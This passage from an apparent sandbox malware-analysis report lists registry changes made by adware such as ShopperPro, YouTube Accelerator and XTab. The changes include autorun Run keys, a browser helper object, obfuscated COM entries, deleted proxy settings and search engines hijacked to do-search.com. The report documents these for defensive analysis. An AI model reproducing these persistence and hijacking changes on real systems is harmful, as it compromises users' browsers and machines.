"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\474.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 63 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "B8 49 21 9B D5 7C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process ShopperPro.exe:1780 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "4609f35e-fff4-4797-87ba-058dbb8822ca"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtyc"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "C4 01 B9 59 D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B4 33 1D 58 D5 7C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "3.1.9318.1785"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1.42.0.1785"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.1.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process ProtectWindowsManager.exe:4176 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectWindowsManager.exe:3944 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerProsÃƒâ€š"
"TypesSupported" = "7"

The process cmdshell.exe:4308 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAcceleratorService.exe:3352 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 78 A4 44 A3"

The process YouTubeAcceleratorService.exe:3492 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ}JbXMHpbpODr"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1429690900"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 78 A4 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLVersion" = "0"
"XMLUpdateFailed" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "gDxC9Bha"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "KpKybWllh|ab@_w}Yu`gBISI`@Ndl"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B0 9E 0D 59 D5 7C D0 01"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "B0 9E 0D 59 D5 7C D0 01"
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"
"SBAPW" = "Jhbh8dCq"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`aRLXEXtLli@u"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "C2 F7 A8 D4 43 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "555c681c-bef1-485b-a8f4-c342b7ce2d91"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbN"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1429690903"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LIUkaRXT|SiWsfDH`LkAsXBDUCkC"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "6c547230-b3a9-4235-8048-b58573bb7041"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "YeDTcvwGP"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:3888 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 78 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Both"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "7A 38 BA A1 43 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "UPnP Service Provider Class"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "C:\Windows\SysWOW64\fdssdp.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:2588 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 78 A4 44 A3"
"{K7C0DB872A3F777C0}" = "A8 B7 86 68 43 17 1F CD 22 18 2A 64 22 18 AF B6"

The process ProtectService.exe:2232 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 67 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process ProtectService.exe:4264 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process XTab_Setup2121.exe:2676 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = "1"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 66 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = ""

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.istartsurf.com/web/?type=ds&ts=1429691010&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"CheckedValue" = "PMIL"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"DefaultValue" = "PMIL"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

